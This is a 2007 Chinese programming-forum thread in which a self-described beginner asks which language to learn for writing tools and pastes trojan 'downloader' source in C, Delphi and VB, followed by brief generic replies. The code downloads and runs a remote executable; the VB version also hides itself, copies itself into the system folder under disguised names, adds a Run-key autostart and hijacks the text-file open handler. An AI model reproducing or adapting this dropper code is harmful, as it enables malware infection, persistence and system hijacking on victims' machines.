| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1072 人关注过本帖
标题:哪位高手能给我指点一下么?我现在有点迷茫了。
只看楼主 加入收藏
HackAkm
Rank: 1
等 级:新手上路
帖 子:35
专家分:0
注 册:2007-12-12
收藏
 问题点数:0 回复次数:17 
哪位高手能给我指点一下么?我现在有点迷茫了。
我是一个编程的初学者。。。
        学习编程的最初目的,也就是现在的目的------写出自己的工具
        
   可是在邪恶8进制里看到关于写下载者的一份源码。。。。。
   我迷茫了,不知道该去学哪门语言。
   我才学几天,希望能找门好的语言学。
   我看过一些文章说过,学习编程要一一攻破。
   可是我还是希望大家能小小指点下。用哪门语言写工具最简单,最容易学。
   我想写的工具是网站检测类型。具体的思路的功能我想保密下。嘿嘿
 
                                      在此希望能结交各位编程大大
                                                     Q:7815489
C语言下 编写下载者。
程序代码:
#include<windows.h>
#include<urlmon.h>
#include<process.h>   
#include<Shellapi.h>   //这里这个头文件是对ShellExecute的定义
#pragma comment (lib,"Urlmon.lib")
int main()
{
          URLDownloadToFile(NULL,"http://www.,"C:\test.exe",0,NULL);
          ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW);
          return 0;
}
Delphi下的下载编写
程序代码:
//调用API
uses 
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms, 
Dialogs, StdCtrls, ExtDlgs, ShellAPI; 
//调用的API函数
ShellExecute 
URLDownloadTofile 
//在Delpihi在窗体运行的那个过程(form1.CREAT)里写上
URLDownloadToFile (0, '木马地址', 'c:\蓝梦泽.exe', 0, 0 
ShellExecute (0, 'Open', 'c:\fhm.exe', nil, nil, SW_SHOWNORMAL); 
VB下的下载者编写
程序代码:
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)'延迟1秒
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long             ' Note that if you declare the lpData parameter as String, you must pass it By value.
Const Key_Run = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1                                     ' Unicode nul terminated string
Dim LhKey As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sys As String '系统目录
Private US As String '自己
Private Tmp As String '临时文件夹
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Sub form_Load()
On Error Resume Next
Dim RegEdit As Object, Apppath As String
    Dim Cp As String
Dim Ret As Long
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
form1.Visible = False
Sys = String(255, 0)
Ret = GetSystemDirectory(Sys, 255)
Sys = Left(Sys, Ret) '获得系统目录
US = String(1024, 0) '获得自己的完整路径
Ret = GetModuleFileName(0, US, 1024)
US = Left(US, InStr(US, Chr(0)) - 1)
Tmp = Temp '获得完整临时目录
If Dir(Sys & "\" & "hoho.exe") = "" Then
          Ret = URLDownloadToFile(0, "http://www., Sys & "\hoho.exe", 0, 0)
         End If
Cp = Sys & "\system.exe" 
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, Key_Run, LhKey) '写入注册表,以便开机重启
Ret = RegSetvalueEx(LhKey, "server", 0&, REG_SZ, ByVal Cp, Len(Cp) + 1)
Ret = RegCloseKey(LhKey)
If InStr(UCase(US), "INETDBS") = 0 Then
End If

 Apppath = IIf(Right(App.Path, 1) = "\", Left(App.Path, Len(App.Path) - 1), App.Path)
    '取得当前路径,如果是在根目录下就要去掉一个“\"
    Set RegEdit = CreateObject("WScript.Shell")
    RegEdit.regwrite "HKEY_CLASSES_ROOT\txtfile\shell\open\command\", Sys & "\" & "rund1132" & ".exe %1"

 On Error Resume Next
    Dim cmd As String
    cmd = Command()
    If cmd <> "" Then
          Shell "NOTEPAD.EXE " & cmd, vbNormalFocus
    End If
On Error Resume Next
FileCopy sCurrentPath, Sys & "\System.exe"
On Error Resume Next
FileCopy sCurrentPath, Sys & "\" & "\rund1132.exe"
SetAttr Sys & "\" & "\rund1132.exe", 7
'判断程序是否下在运行
If App.PrevInstance Then
End
End If
Kill Sys & "\systrsy.exe"

 Do While Dir(Sys & "\" & "systrsy.exe") = ""

 Ret = URLDownloadToFile(0, "url", Sys & "\systrsy.exe", 0, 0)

 Call Sleep(100000)
Loop
          Shell Sys & "\" & "systrsy" & ".exe", vbNormalFocus

 
搜索更多相关主题的帖子: 才学 工具 语言 
2007-12-12 17:48
随风逐流
Rank: 16Rank: 16Rank: 16Rank: 16
来 自:passerby
等 级:版主
威 望:8
帖 子:4054
专家分:271
注 册:2007-6-13
收藏
得分:0 
什么玩意?

[url=http://www./html/6/6694/]极道金丹[/url][url=http://www./html/2/2849/]九阴九阳[/url][url=http://www./html/2/2596/]凡人修仙传[/url]
2007-12-12 17:53
沉沦过迁
Rank: 2
来 自:广西百色
等 级:论坛游民
帖 子:2297
专家分:10
注 册:2007-5-8
收藏
得分:0 
不知道

也许我没有明天,但是我拥有现在
2007-12-12 17:58
guoxhvip
Rank: 8Rank: 8
来 自:聖西羅南看臺
等 级:贵宾
威 望:44
帖 子:4052
专家分:135
注 册:2006-10-8
收藏
得分:0 
喜欢什么就学什么 如果不知道喜欢什么就看哪门语言名字顺眼就学什么

愛生活 && 愛編程
2007-12-12 18:23
HackAkm
Rank: 1
等 级:新手上路
帖 子:35
专家分:0
注 册:2007-12-12
收藏
得分:0 
还是希望 大家能给点意见。。。
    如果这样 看到什么好就学的话。。。那我也不用来问大家了不是么?
   
    大家别笑我哦,我是真的想学好编程的。
2007-12-12 18:30
无理取闹
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:53
帖 子:4264
专家分:0
注 册:2006-7-26
收藏
得分:0 
我也对木马病毒有兴趣  
现在玩win32汇编   如果你上面的代码都看不懂那还是从c开始吧

win32汇编
病毒 加密
目前兴趣所在
2007-12-12 18:34
HackAkm
Rank: 1
等 级:新手上路
帖 子:35
专家分:0
注 册:2007-12-12
收藏
得分:0 
恩 谢谢楼上的。
   
             继续期望大家给点意见
    楼上的可以 加QQ们   以后可能我在编写程序的时候会有问题问到您
    也希望您能给我多一点的指点。。
2007-12-12 18:40
无理取闹
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:53
帖 子:4264
专家分:0
注 册:2006-7-26
收藏
得分:0 
hoho  有问题发到相应板块   版主和好心人会解答你的 o(∩_∩)o...

win32汇编
病毒 加密
目前兴趣所在
2007-12-12 18:43
HackAkm
Rank: 1
等 级:新手上路
帖 子:35
专家分:0
注 册:2007-12-12
收藏
得分:0 
#include<windows.h>
#include<urlmon.h>
#include<process.h>   
#include<Shellapi.h>   //这里这个头文件是对ShellExecute的定义
#pragma comment (lib,"Urlmon.lib")
int main()
{
          URLDownloadToFile //下载的函数
(NULL,"http://www.,"C:\test.exe",0,NULL);
          // 前面的null不懂  “内是下载地址 和 下载后保存地址”
           0不懂   NULL估计是填充的没什么写就写NULL的
          ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW);
              执行,   0不懂      打开刚保存在C:\TEST.EXE文件
               NULL和上面一样理解为填充        SW_SHOW不懂
          return 0;                  
            返回0        按照字面意思看的


  简单的看的懂一点点。。。可是 自己写怕写不出来

[[italic] 本帖最后由 HackAkm 于 2007-12-12 18:51 编辑 [/italic]]
2007-12-12 18:47
HackAkm
Rank: 1
等 级:新手上路
帖 子:35
专家分:0
注 册:2007-12-12
收藏
得分:0 
谢谢斑竹了。。。。以后在论坛 还有很多东西向你们学习呢
2007-12-12 18:48
快速回复:哪位高手能给我指点一下么?我现在有点迷茫了。
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.019561 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved